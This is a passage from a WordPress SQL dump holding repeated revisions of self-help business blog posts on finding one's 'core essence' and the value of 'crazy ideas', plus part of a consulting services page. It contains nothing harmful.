Yet no matter how hard I tried, I never felt “right” and I never really fit in anywhere.\r\n<h3><strong>The truth within.</strong></h3>\r\nAs a creative entrepreneur, any value you bring to the world is only credible when it reflects the essential truth of your unique, special and compelling gifts. Your core essence is how you add value, and it provides the reason people will follow you, like you, tweet you, trust you, and do business with you.  It comes from within you and nowhere else. You can’t wear your core essence like a uniform-people will see right through you!\r\n<h2>The big question is: How do you choose from among all the facets of who you are to truly know (with enduring confidence) what your core essence is?</h2>\r\nThe search for your core essence is an inner quest to find, and more importantly, to believe in your unique and compelling gifts. Discovering your core essence requires discipline and self-confidence. Without this inner self-wisdom there is no real clarity about where you can best make a difference in the world.  Without this connection to your white hot center you will be adrift from yourself.\r\n<h3><strong>Get a shovel and start digging.</strong></h3>\r\nEssentially the discovery of your core essence will require some digging on your part.  Like an archeological dig, you’ll have to sift through the layers of your beliefs and values looking for the bits and pieces that comprise your special gifts, talents and natural inclinations.\r\n\r\nYou can start by asking a few basic questions of those close to you, who know you intimately–people who are your raving fans and adore you. Ask them to describe your strengths, talents, and your special qualities. Keep it simple. The result will always be illuminating, clarifying and confidence building.\r\n\r\nWith that information in hand, you can go a level deeper into your own introspection by asking yourself some simple but probing questions that will call upon you to be decisive about who and what you are. Here’s a list to get your process started:\r\n\r\n<strong>I am unique because I ...</strong>\r\n\r\n<strong>People know me to be  ...</strong>\r\n\r\n<strong>I am good at ...</strong>\r\n\r\n<strong>I feel most fulfilled and satisfied when I am doing ...</strong>\r\n\r\n<strong>What makes me special is my ...</strong>\r\n\r\n<strong>I will not compromise on ...</strong>\r\n\r\n<strong>I am grateful for ...</strong>\r\n\r\nTake your time with this. You may experience a little writer’s block at first. Allow yourself to be open and honest as you ask yourself these and other questions you may come up with. Discovering your core essence is a decisive act, not a compromise, or a consensus of group think.  When you have the answers to those questions, develop a list of word associations that will best describe your essence. You may find it helpful to settle on the expression of your core essence as a simple description in the form of adjective, adjective, noun. For example, my own core essence is described as follows:\r\n\r\nCreative, visionary leader.\r\n\r\nThis becomes the lens through which you assess all opportuntiy that comes your way. Once you discover and live by the character of your core essence, you’ll have the self-guidance and confidence to know what is a good fit for you and why your difference is relevant and highly valued by the world.  Go ahead give it some thought and please share your comments.', 'Discovering your core essence.', 0, '', 'inherit', 'open', 'open', '', '2228-revision-9', '', '', '2013-03-14 16:39:06', '2013-03-14 23:39:06', '', 2228, 'http://www.whitehotcenter.com/2013/03/2228-revision-9/', 0, 'revision', '', 0),
(2239, 2, '2013-03-14 16:39:26', '2013-03-14 23:39:26', '<img class="alignnone size-full wp-image-2229" title="core essence" src="http://whc.fbdev.org/wp-content/uploads/2013/03/core-essence.jpg" alt="" width="500" height="208" />\r\n<h1><span style="color: #808080;">One of the key principles of the White Hot Center Manifesto is to “be different and make a difference”. The first step in being different is to recognize that you are unique–similar in form but different and distinguished from all others.</span></h1>\r\nTo be different and make a difference requires an introspective look at what I’ll call your “core essence”– your unique set of attributes, abilities and special gifts that separates and distinguishes you from others. Only from your core essence will you be able to be truly different and make a difference in the world.\r\n\r\nYour core essence is something special used to connect your gifts and talents to a need in the world. It is a special something only you have that fulfills your own purpose and provides what the world lacks. You are joined with others because the world sees your essence as the solution.\r\n\r\nI remember early in my business career how important it was for me to “fit in” and be perceived by business associates and prospective clients as one of them. So I dressed like them, hung out where they hung out, talked like them, walked like them, joined their organizations, attended their social functions, and generally crafted my whole persona to be “like them”.  I held tight to the belief my success was based solely on my ability to fit their mold and conform to the standards of the conventional wisdom. I worked very hard at this for nearly two decades. Yet no matter how hard I tried, I never felt “right” and I never really fit in anywhere.\r\n<h3><strong>The truth within.</strong></h3>\r\nAs a creative entrepreneur, any value you bring to the world is only credible when it reflects the essential truth of your unique, special and compelling gifts. Your core essence is how you add value, and it provides the reason people will follow you, like you, tweet you, trust you, and do business with you.  It comes from within you and nowhere else. You can’t wear your core essence like a uniform-people will see right through you!\r\n<h2>The big question is: How do you choose from among all the facets of who you are to truly know (with enduring confidence) what your core essence is?</h2>\r\nThe search for your core essence is an inner quest to find, and more importantly, to believe in your unique and compelling gifts. Discovering your core essence requires discipline and self-confidence. Without this inner self-wisdom there is no real clarity about where you can best make a difference in the world.  Without this connection to your white hot center you will be adrift from yourself.\r\n<h3><strong>Get a shovel and start digging.</strong></h3>\r\nEssentially the discovery of your core essence will require some digging on your part.  Like an archeological dig, you’ll have to sift through the layers of your beliefs and values looking for the bits and pieces that comprise your special gifts, talents and natural inclinations.\r\n\r\nYou can start by asking a few basic questions of those close to you, who know you intimately–people who are your raving fans and adore you. Ask them to describe your strengths, talents, and your special qualities. Keep it simple. The result will always be illuminating, clarifying and confidence building.\r\n\r\nWith that information in hand, you can go a level deeper into your own introspection by asking yourself some simple but probing questions that will call upon you to be decisive about who and what you are. Here’s a list to get your process started:\r\n\r\n<strong>I am unique because I ...</strong>\r\n\r\n<strong>People know me to be  ...</strong>\r\n\r\n<strong>I am good at ...</strong>\r\n\r\n<strong>I feel most fulfilled and satisfied when I am doing ...</strong>\r\n\r\n<strong>What makes me special is my ...</strong>\r\n\r\n<strong>I will not compromise on ...</strong>\r\n\r\n<strong>I am grateful for ...</strong>\r\n\r\nTake your time with this. You may experience a little writer’s block at first. Allow yourself to be open and honest as you ask yourself these and other questions you may come up with. Discovering your core essence is a decisive act, not a compromise, or a consensus of group think.  When you have the answers to those questions, develop a list of word associations that will best describe your essence. You may find it helpful to settle on the expression of your core essence as a simple description in the form of adjective, adjective, noun. For example, my own core essence is described as follows:\r\n\r\nCreative, visionary leader.\r\n\r\nThis becomes the lens through which you assess all opportuntiy that comes your way. Once you discover and live by the character of your core essence, you’ll have the self-guidance and confidence to know what is a good fit for you and why your difference is relevant and highly valued by the world.  Go ahead give it some thought and please share your comments.', 'Discovering your core essence.', 0, '', 'inherit', 'open', 'open', '', '2228-revision-10', '', '', '2013-03-14 16:39:26', '2013-03-14 23:39:26', '', 2228, 'http://www.whitehotcenter.com/2013/03/2228-revision-10/', 0, 'revision', '', 0),
(2241, 2, '2013-03-27 15:29:38', '2013-03-27 22:29:38', '', 'The Power of Crazy Ideas', 0, '', 'inherit', 'open', 'open', '', 'crazy-idea', '', '', '2013-03-27 15:29:38', '2013-03-27 22:29:38', '', 2240, 'http://www.whitehotcenter.com/wp-content/uploads/2013/03/crazy-idea.jpg', 0, 'attachment', 'image/jpeg', 0),
(2242, 2, '2013-03-27 15:34:07', '2013-03-27 22:34:07', '<img class="alignnone size-full wp-image-2241" title="The Power of Crazy Ideas" src="http://whc.fbdev.org/wp-content/uploads/2013/03/crazy-idea.jpg" alt="" width="515" height="289" />\n<h1>The source code of value creation BEGINS with formless creative thought not data. Formless thought in the creative mind is where crazy ideas come from.  Crazy ideas have changed the world many times over. Knowing this, it’s surprising many entrepreneurs still don’t trust the crazy idea when it shows up.</h1>\nEverything that ever was, is now, and ever will be is at first a formless thought seed in the creative mind. Many of the products we can’t live without today started out as crazy ideas– automobiles, airplanes, personal computing, digital entertainment, smartphones, the internet and social media – stuff nobody needed or was asking for, but once realized, was just the thing they we’re waiting for.\n\nAll the stuff that has changed how we live in the world begins as formless crazy ideas.\n\nCrazy ideas are always more richly embedded with game changing opportunity than safe ideas. A safe idea is the one you can “prove will work” before it takes form in the world.\n<h3><strong>Crazy ideas are like ancient fire– feared until proven useful.</strong></h3>\nAs early humans, we learned and adapted within the context of our surroundings. When humans first learned that fire makes life easier (like cooking meat and keeping warm) the idea of fire was eagerly embraced as necessary for survival. I’ll bet before people figured out the “use value” of fire, it probably was a very frightening thing to experience–consequently something one should avoid. Crazy ideas are like that.\n\nThe music industry fought tooth and nail to avoid the crazy idea of digitally produced, reproduced and distributed music. Looking back, it’s hard to imagine the folly of their resistance to this crazy idea. But they did for nearly a decade at great harm to their shareholders. Consumers weren’t demanding the crazy idea of digital music be created out of their unmet need for digital music.  Yet once its use value was realized, the crazy idea changed an industry and the world.\n\nThe same is true for more commonplace crazy ideas like the Swiffer, which changed how people clean their homes.  Netflix which destroyed its established brick and mortar video rental competitors.  Even Digiorrno Pizza, which elevated the idea of frozen pizza to freshly delivered pizza status.  Nobody was asking for these crazy ideas, yet each one proved massively successful.\n<h3><strong>Crazy ideas propose new meanings and create competitive advantage.</strong></h3>\nIn a me-too world of abundant choice, it’s far better to create new value (propose new meanings) than compete for the value created by others. If your in a business with lots of competitiors, you might want to be thinking about a crazy idea that will create a new meaning around your business that will put it in a league all its own.\n\nThat’s exactly what Swatch did.\n\nWhen their bigger competitors Seiko and Casio were closely monitoring consumer needs for technical precision then inventing quartz technology, Swatch had the crazy idea that people valued self-expression more and created a new category and untouchable competitive advantage in a class all by themselves for well over 30 years.\n<h2>The key ingredient to competitive advantage is to provide people with more “use value” than they have paid in cash value. That takes crazy ideas.</h2>\nAlthough you could buy a high-quality, precision quartz watch from Casio for under $50, it didn’t provide the perceived use value of active self- expression available for $100 from Swatch. The correct time was not what Swatch customers valued. The same could be said of the iPhone over the Blackberry. The power of crazy ideas creates new value even when the innovation is not driven by known user needs.\n<h3><strong>Two choices: the creative plane or the competitive plane.</strong></h3>\nIf your business is to thrive in the new economy driven by crazy ideas, you’ll have to choose between operating from the creative plane or the competitive plane.\n\nWhen your business operates on the competitive plane, it can only win when somebody else loses. It will only bring products to market that are based in incremental user needs and ever-cheaper prices. It will be forced to compete for low value customers. Crazy ideas that are without form and unproven will be quickly discounted in favor of the known and the proven. The business will be managed based on fear, control, competition and survival.\n\nOn the other hand, if your business operates on the creative plane, it will have a compelling purpose and reason for being. There will be no shortage of supply or opportunity.  It will develop products that redefine the category, delighting customers with the unexpected, making competition irrelevant. Customers will experience more use value than they pay in cash value–making the price irrelevant. Everyone in your business will be focused on turning possibilities into realities. You will not be hyper focused on counting transactions but will create experiences people love earning trust and advocacy that advertising money can’t buy.\n\n<strong>Get crazy if you want your business to move up the value chain.</strong>', 'The Power of Crazy Ideas.', 0, '', 'inherit', 'open', 'open', '', '2240-revision', '', '', '2013-03-27 15:34:07', '2013-03-27 22:34:07', '', 2240, 'http://www.whitehotcenter.com/2013/03/2240-revision/', 0, 'revision', '', 0),
(2243, 2, '2013-03-27 15:35:31', '2013-03-27 22:35:31', '<img class="alignnone size-full wp-image-2241" title="The Power of Crazy Ideas" src="http://whc.fbdev.org/wp-content/uploads/2013/03/crazy-idea.jpg" alt="" width="515" height="289" />\n<h1>The source code of value creation BEGINS with formless creative thought not data. Formless thought in the creative mind is where crazy ideas come from.  Crazy ideas have changed the world many times over. Knowing this, it’s surprising many entrepreneurs still don’t trust the crazy idea when it shows up.</h1>\nEverything that ever was, is now, and ever will be is at first a formless thought seed in the creative mind. Many of the products we can’t live without today started out as crazy ideas– automobiles, airplanes, personal computing, digital entertainment, smartphones, the internet and social media – stuff nobody needed or was asking for, but once realized, was just the thing they we’re waiting for.\n\nAll the stuff that has changed how we live in the world begins as formless crazy ideas.\n\nCrazy ideas are always more richly embedded with game changing opportunity than safe ideas. A safe idea is the one you can “prove will work” before it takes form in the world.\n<h3><strong>Crazy ideas are like ancient fire– feared until proven useful.</strong></h3>\nAs early humans, we learned and adapted within the context of our surroundings. When humans first learned that fire makes life easier (like cooking meat and keeping warm) the idea of fire was eagerly embraced as necessary for survival. I’ll bet before people figured out the “use value” of fire, it probably was a very frightening thing to experience–consequently something one should avoid. Crazy ideas are like that.\n\nThe music industry fought tooth and nail to avoid the crazy idea of digitally produced, reproduced and distributed music. Looking back, it’s hard to imagine the folly of their resistance to this crazy idea. But they did for nearly a decade at great harm to their shareholders. Consumers weren’t demanding the crazy idea of digital music be created out of their unmet need for digital music.  Yet once its use value was realized, the crazy idea changed an industry and the world.\n\nThe same is true for more commonplace crazy ideas like the Swiffer, which changed how people clean their homes.  Netflix which destroyed its established brick and mortar video rental competitors.  Even Digiorrno Pizza, which elevated the idea of frozen pizza to freshly delivered pizza status.  Nobody was asking for these crazy ideas, yet each one proved massively successful.\n<h3><strong>Crazy ideas propose new meanings and create competitive advantage.</strong></h3>\nIn a me-too world of abundant choice, it’s far better to create new value (propose new meanings) than compete for the value created by others. If your in a business with lots of competitiors, you might want to be thinking about a crazy idea that will create a new meaning around your business that will put it in a league all its own.\n\nThat’s exactly what Swatch did.\n\nWhen their bigger competitors Seiko and Casio were closely monitoring consumer needs for technical precision then inventing quartz technology, Swatch had the crazy idea that people valued self-expression more and created a new category and untouchable competitive advantage in a class all by themselves for well over 30 years.\n<h2>The key ingredient to competitive advantage is to provide people with more “use value” than they have paid in cash value. That takes crazy ideas.</h2>\nAlthough you could buy a high-quality, precision quartz watch from Casio for under $50, it didn’t provide the perceived use value of active self- expression available for $100 from Swatch. The correct time was not what Swatch customers valued. The same could be said of the iPhone over the Blackberry. The power of crazy ideas creates new value even when the innovation is not driven by known user needs.\n<h3><strong>Two choices: the creative plane or the competitive plane.</strong></h3>\nIf your business is to thrive in the new economy driven by crazy ideas, you’ll have to choose between operating from the creative plane or the competitive plane.\n\nWhen your business operates on the competitive plane, it can only win when somebody else loses. It will only bring products to market that are based in incremental user needs and ever-cheaper prices. It will be forced to compete for low value customers. Crazy ideas that are without form and unproven will be quickly discounted in favor of the known and the proven. The business will be managed based on fear, control, competition and survival.\n\nOn the other hand, if your business operates on the creative plane, it will have a compelling purpose and reason for being. There will be no shortage of supply or opportunity.  It will develop products that redefine the category, delighting customers with the unexpected, making competition irrelevant. Customers will experience more use value than they pay in cash value–making the price irrelevant. Everyone in your business will be focused on turning possibilities into realities. You will not be hyper focused on counting transactions but will create experiences people love earning trust and advocacy that advertising money can’t buy.\n\n<strong>Get crazy if you want your business to move up the value chain.</strong>', 'The Power of Crazy Ideas.', 0, '', 'inherit', 'open', 'open', '', '2240-revision-2', '', '', '2013-03-27 15:35:31', '2013-03-27 22:35:31', '', 2240, 'http://www.whitehotcenter.com/2013/03/2240-revision-2/', 0, 'revision', '', 0);
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(2244, 2, '2013-03-27 15:38:43', '2013-03-27 22:38:43', '', 'The Power of Crazy Ideas', 0, '', 'inherit', 'open', 'open', '', 'crazy-idea-2', '', '', '2013-03-27 15:38:43', '2013-03-27 22:38:43', '', 2240, 'http://www.whitehotcenter.com/wp-content/uploads/2013/03/crazy-idea1.jpg', 0, 'attachment', 'image/jpeg', 0),
(2245, 2, '2013-03-27 15:38:18', '2013-03-27 22:38:18', '&nbsp;\n<h1><span style="color: #808080;">The source code of value creation BEGINS with formless creative thought not data. Formless thought in the creative mind is where crazy ideas come from.  Crazy ideas have changed the world many times over. Knowing this, it’s surprising many entrepreneurs still don’t trust the crazy idea when it shows up.</span></h1>\nEverything that ever was, is now, and ever will be is at first a formless thought seed in the creative mind. Many of the products we can’t live without today started out as crazy ideas– automobiles, airplanes, personal computing, digital entertainment, smartphones, the internet and social media – stuff nobody needed or was asking for, but once realized, was just the thing they we’re waiting for.\n\nAll the stuff that has changed how we live in the world begins as formless crazy ideas.\n\nCrazy ideas are always more richly embedded with game changing opportunity than safe ideas. A safe idea is the one you can “prove will work” before it takes form in the world.\n<h3><strong>Crazy ideas are like ancient fire– feared until proven useful.</strong></h3>\nAs early humans, we learned and adapted within the context of our surroundings. When humans first learned that fire makes life easier (like cooking meat and keeping warm) the idea of fire was eagerly embraced as necessary for survival. I’ll bet before people figured out the “use value” of fire, it probably was a very frightening thing to experience–consequently something one should avoid. Crazy ideas are like that.\n\nThe music industry fought tooth and nail to avoid the crazy idea of digitally produced, reproduced and distributed music. Looking back, it’s hard to imagine the folly of their resistance to this crazy idea. But they did for nearly a decade at great harm to their shareholders. Consumers weren’t demanding the crazy idea of digital music be created out of their unmet need for digital music.  Yet once its use value was realized, the crazy idea changed an industry and the world.\n\nThe same is true for more commonplace crazy ideas like the Swiffer, which changed how people clean their homes.  Netflix which destroyed its established brick and mortar video rental competitors.  Even Digiorrno Pizza, which elevated the idea of frozen pizza to freshly delivered pizza status.  Nobody was asking for these crazy ideas, yet each one proved massively successful.\n<h3><strong>Crazy ideas propose new meanings and create competitive advantage.</strong></h3>\nIn a me-too world of abundant choice, it’s far better to create new value (propose new meanings) than compete for the value created by others. If your in a business with lots of competitiors, you might want to be thinking about a crazy idea that will create a new meaning around your business that will put it in a league all its own.\n\nThat’s exactly what Swatch did.\n\nWhen their bigger competitors Seiko and Casio were closely monitoring consumer needs for technical precision then inventing quartz technology, Swatch had the crazy idea that people valued self-expression more and created a new category and untouchable competitive advantage in a class all by themselves for well over 30 years.\n<h2>The key ingredient to competitive advantage is to provide people with more “use value” than they have paid in cash value. That takes crazy ideas.</h2>\nAlthough you could buy a high-quality, precision quartz watch from Casio for under $50, it didn’t provide the perceived use value of active self- expression available for $100 from Swatch. The correct time was not what Swatch customers valued. The same could be said of the iPhone over the Blackberry. The power of crazy ideas creates new value even when the innovation is not driven by known user needs.\n<h3><strong>Two choices: the creative plane or the competitive plane.</strong></h3>\nIf your business is to thrive in the new economy driven by crazy ideas, you’ll have to choose between operating from the creative plane or the competitive plane.\n\nWhen your business operates on the competitive plane, it can only win when somebody else loses. It will only bring products to market that are based in incremental user needs and ever-cheaper prices. It will be forced to compete for low value customers. Crazy ideas that are without form and unproven will be quickly discounted in favor of the known and the proven. The business will be managed based on fear, control, competition and survival.\n\nOn the other hand, if your business operates on the creative plane, it will have a compelling purpose and reason for being. There will be no shortage of supply or opportunity.  It will develop products that redefine the category, delighting customers with the unexpected, making competition irrelevant. Customers will experience more use value than they pay in cash value–making the price irrelevant. Everyone in your business will be focused on turning possibilities into realities. You will not be hyper focused on counting transactions but will create experiences people love earning trust and advocacy that advertising money can’t buy.\n\n<strong>Get crazy if you want your business to move up the value chain.</strong>', 'The Power of Crazy Ideas.', 0, '', 'inherit', 'open', 'open', '', '2240-revision-3', '', '', '2013-03-27 15:38:18', '2013-03-27 22:38:18', '', 2240, 'http://www.whitehotcenter.com/2013/03/2240-revision-3/', 0, 'revision', '', 0),
(2246, 2, '2013-03-27 15:40:20', '2013-03-27 22:40:20', '<img class="alignnone size-full wp-image-2244" title="The Power of Crazy Ideas" src="http://whc.fbdev.org/wp-content/uploads/2013/03/crazy-idea1.jpg" alt="" width="495" height="278" />\n<h1><span style="color: #808080;">The source code of value creation BEGINS with formless creative thought not data. Formless thought in the creative mind is where crazy ideas come from.  Crazy ideas have changed the world many times over. Knowing this, it’s surprising many entrepreneurs still don’t trust the crazy idea when it shows up.</span></h1>\nEverything that ever was, is now, and ever will be is at first a formless thought seed in the creative mind. Many of the products we can’t live without today started out as crazy ideas– automobiles, airplanes, personal computing, digital entertainment, smartphones, the internet and social media – stuff nobody needed or was asking for, but once realized, was just the thing they we’re waiting for.\n\nAll the stuff that has changed how we live in the world begins as formless crazy ideas.\n\nCrazy ideas are always more richly embedded with game changing opportunity than safe ideas. A safe idea is the one you can “prove will work” before it takes form in the world.\n<h3><strong>Crazy ideas are like ancient fire– feared until proven useful.</strong></h3>\nAs early humans, we learned and adapted within the context of our surroundings. When humans first learned that fire makes life easier (like cooking meat and keeping warm) the idea of fire was eagerly embraced as necessary for survival. I’ll bet before people figured out the “use value” of fire, it probably was a very frightening thing to experience–consequently something one should avoid. Crazy ideas are like that.\n\nThe music industry fought tooth and nail to avoid the crazy idea of digitally produced, reproduced and distributed music. Looking back, it’s hard to imagine the folly of their resistance to this crazy idea. But they did for nearly a decade at great harm to their shareholders. Consumers weren’t demanding the crazy idea of digital music be created out of their unmet need for digital music.  Yet once its use value was realized, the crazy idea changed an industry and the world.\n\nThe same is true for more commonplace crazy ideas like the Swiffer, which changed how people clean their homes.  Netflix which destroyed its established brick and mortar video rental competitors.  Even Digiorrno Pizza, which elevated the idea of frozen pizza to freshly delivered pizza status.  Nobody was asking for these crazy ideas, yet each one proved massively successful.\n<h3><strong>Crazy ideas propose new meanings and create competitive advantage.</strong></h3>\nIn a me-too world of abundant choice, it’s far better to create new value (propose new meanings) than compete for the value created by others. If your in a business with lots of competitiors, you might want to be thinking about a crazy idea that will create a new meaning around your business that will put it in a league all its own.\n\nThat’s exactly what Swatch did.\n\nWhen their bigger competitors Seiko and Casio were closely monitoring consumer needs for technical precision then inventing quartz technology, Swatch had the crazy idea that people valued self-expression more and created a new category and untouchable competitive advantage in a class all by themselves for well over 30 years.\n<h2>The key ingredient to competitive advantage is to provide people with more “use value” than they have paid in cash value. That takes crazy ideas.</h2>\nAlthough you could buy a high-quality, precision quartz watch from Casio for under $50, it didn’t provide the perceived use value of active self- expression available for $100 from Swatch. The correct time was not what Swatch customers valued. The same could be said of the iPhone over the Blackberry. The power of crazy ideas creates new value even when the innovation is not driven by known user needs.\n<h3><strong>Two choices: the creative plane or the competitive plane.</strong></h3>\nIf your business is to thrive in the new economy driven by crazy ideas, you’ll have to choose between operating from the creative plane or the competitive plane.\n\nWhen your business operates on the competitive plane, it can only win when somebody else loses. It will only bring products to market that are based in incremental user needs and ever-cheaper prices. It will be forced to compete for low value customers. Crazy ideas that are without form and unproven will be quickly discounted in favor of the known and the proven. The business will be managed based on fear, control, competition and survival.\n\nOn the other hand, if your business operates on the creative plane, it will have a compelling purpose and reason for being. There will be no shortage of supply or opportunity.  It will develop products that redefine the category, delighting customers with the unexpected, making competition irrelevant. Customers will experience more use value than they pay in cash value–making the price irrelevant. Everyone in your business will be focused on turning possibilities into realities. You will not be hyper focused on counting transactions but will create experiences people love earning trust and advocacy that advertising money can’t buy.\n\n<strong>Get crazy if you want your business to move up the value chain.</strong>', 'The Power of Crazy Ideas.', 0, '', 'inherit', 'open', 'open', '', '2240-revision-4', '', '', '2013-03-27 15:40:20', '2013-03-27 22:40:20', '', 2240, 'http://www.whitehotcenter.com/2013/03/2240-revision-4/', 0, 'revision', '', 0),
(2247, 2, '2013-03-27 15:43:03', '2013-03-27 22:43:03', '<img class="alignnone size-full wp-image-2244" title="The Power of Crazy Ideas" src="http://whc.fbdev.org/wp-content/uploads/2013/03/crazy-idea1.jpg" alt="" width="495" height="278" />\n<h1><span style="color: #808080;">The source code of value creation BEGINS with formless creative thought not data. Formless thought in the creative mind is where crazy ideas come from.  Crazy ideas have changed the world many times over. Knowing this, it’s surprising many entrepreneurs still don’t trust the crazy idea when it shows up.</span></h1>\nEverything that ever was, is now, and ever will be is at first a formless thought seed in the creative mind. Many of the products we can’t live without today started out as crazy ideas– automobiles, airplanes, personal computing, digital entertainment, smartphones, the internet and social media – stuff nobody needed or was asking for, but once realized, was just the thing they we’re waiting for.\n\nAll the stuff that has changed how we live in the world begins as formless crazy ideas.\n\nCrazy ideas are always more richly embedded with game changing opportunity than safe ideas. A safe idea is the one you can “prove will work” before it takes form in the world.\n<h3><strong>Crazy ideas are like ancient fire– feared until proven useful.</strong></h3>\nAs early humans, we learned and adapted within the context of our surroundings. When humans first learned that fire makes life easier (like cooking meat and keeping warm) the idea of fire was eagerly embraced as necessary for survival. I’ll bet before people figured out the “use value” of fire, it probably was a very frightening thing to experience–consequently something one should avoid. Crazy ideas are like that.\n\nThe music industry fought tooth and nail to avoid the crazy idea of digitally produced, reproduced and distributed music. Looking back, it’s hard to imagine the folly of their resistance to this crazy idea. But they did for nearly a decade at great harm to their shareholders. Consumers weren’t demanding the crazy idea of digital music be created out of their unmet need for digital music.  Yet once its use value was realized, the crazy idea changed an industry and the world.\n\nThe same is true for more commonplace crazy ideas like the Swiffer, which changed how people clean their homes.  Netflix which destroyed its established brick and mortar video rental competitors.  Even Digiorrno Pizza, which elevated the idea of frozen pizza to freshly delivered pizza status.  Nobody was asking for these crazy ideas, yet each one proved massively successful.\n<h3><strong>Crazy ideas propose new meanings and create competitive advantage.</strong></h3>\nIn a me-too world of abundant choice, it’s far better to create new value (propose new meanings) than compete for the value created by others. If your in a business with lots of competitiors, you might want to be thinking about a crazy idea that will create a new meaning around your business that will put it in a league all its own.\n\nThat’s exactly what Swatch did.\n\nWhen their bigger competitors Seiko and Casio were closely monitoring consumer needs for technical precision then inventing quartz technology, Swatch had the crazy idea that people valued self-expression more and created a new category and untouchable competitive advantage in a class all by themselves for well over 30 years.\n<h2>The key ingredient to competitive advantage is to provide people with more “use value” than they have paid in cash value. That takes crazy ideas.</h2>\nAlthough you could buy a high-quality, precision quartz watch from Casio for under $50, it didn’t provide the perceived use value of active self- expression available for $100 from Swatch. The correct time was not what Swatch customers valued. The same could be said of the iPhone over the Blackberry. The power of crazy ideas creates new value even when the innovation is not driven by known user needs.\n<h3><strong>Two choices: the creative plane or the competitive plane.</strong></h3>\nIf your business is to thrive in the new economy driven by crazy ideas, you’ll have to choose between operating from the creative plane or the competitive plane.\n\nWhen your business operates on the competitive plane, it can only win when somebody else loses. It will only bring products to market that are based in incremental user needs and ever-cheaper prices. It will be forced to compete for low value customers. Crazy ideas that are without form and unproven will be quickly discounted in favor of the known and the proven. The business will be managed based on fear, control, competition and survival.\n\nOn the other hand, if your business operates on the creative plane, it will have a compelling purpose and reason for being. There will be no shortage of supply or opportunity.  It will develop products that redefine the category, delighting customers with the unexpected, making competition irrelevant. Customers will experience more use value than they pay in cash value–making the price irrelevant. Everyone in your business will be focused on turning possibilities into realities. You will not be hyper focused on counting transactions but will create experiences people love earning trust and advocacy that advertising money can’t buy.\n\n<strong>Get crazy if you want your business to move up the value chain.</strong>', 'The Power of Crazy Ideas.', 0, '', 'inherit', 'open', 'open', '', '2240-revision-5', '', '', '2013-03-27 15:43:03', '2013-03-27 22:43:03', '', 2240, 'http://www.whitehotcenter.com/2013/03/2240-revision-5/', 0, 'revision', '', 0),
(2249, 2, '2012-05-10 15:59:02', '2012-05-10 22:59:02', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><strong style="color: #ff6600;">In one-on-one and in group settings, I work exclusively with early stage creative entrepreneurs and solo professionals to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. </strong></h2>\r\n<strong>My clients include entrepreneurs from creative disciplines like </strong><strong></strong><strong>design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, computer games, and music production. All these disciplines share creativity as the heart and soul of the business enterprise. </strong>\r\n\r\n<strong>I offer consulting in professional development, marketing and business development to guide you and your team to focus on new ideas, strategies and tactics to master the inner game (creative plane), and outer game (physical plane) of business (and life) success in four essential disciplines:</strong>\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through sales, lmarketing, business development and communication strategies that position your business as highly valued by the best customers and clients, and removes you from the slush pile of competitors.\r\n\r\n<strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong>For over 25 years, as principal and founder of my own marketing communications and <a title="Learn more about PULL Brand Innovation" href="http://www.pullinc.com" target="_blank">design agency,</a> I have developed millions of dollars of revenue from clients in my own creative business. I know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I also know from my own experience the challenges and struggles with business development, managing client expectations, managing staff and collaborators that face all creative entrepreneurs along their way to building a profitable creative business.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nBusiness Development Consulting</h2>\r\nConsulting and coaching tailored to the specific needs of  forward thinking, early-stage creative entrepreneurs and solo creative professionals who want to be more effective in every aspect of their personal and professional life. Through insight, guidance and creativity, I''ll help you focus on your best opportunities, leverage your personal strtengths and effectiveness, and gain more clarity and confidence by an order of magnitude to make a quantum leap in your business development success.\r\n\r\n<strong>This consulting program is designed to help those entrepreneurs currently generating at least $150,000 in annual gross revenue.</strong>\r\n\r\nYou shouldn’t be surprised to learn that peak performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs so you can accelerate your rate of achievement.  I''ll help you to kick up your game!  (and be the kick in ass when required).  I''ll work with you (and your team) to shift your thinking from limits and obstacles to potential and possibilities. I can help increase your awareness, clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business development and management consulting that will inspire you to increase the quality of your presence in every aspect of your business and life success, and provide tools and maps to help you get there. Our consulting format is highly flexible, (and virtual) involving weekly personal and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $1,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;">Start the burn!</span></span><strong></strong></h1>\r\n<strong>Why work with me?</strong>\r\n\r\nEvery business development consultant will offer you the benefits of their personal experience and advice from the trenches. That’s a given and I’m no different.\r\n\r\nFor nearly 30 years, as a creative entrepreneur and design professional, I’ve sold in millions of dollars of revenue from thousands of projects in my own creative business. I know what it takes to create new business from scratch without the benefits of referrals and buddies in the right places.\r\n\r\nI know how long the sales cycle really is, and how frustrating generating prospects and sales conversation are for creative types. I know the challenges involved selling in your ideas and developing proposals that win business. I know the pressure of meeting a payroll every week too.\r\n\r\nRunning your own show has its challenges particularly at the early-stages of your business growth. I’ve been there–but so what? How will that 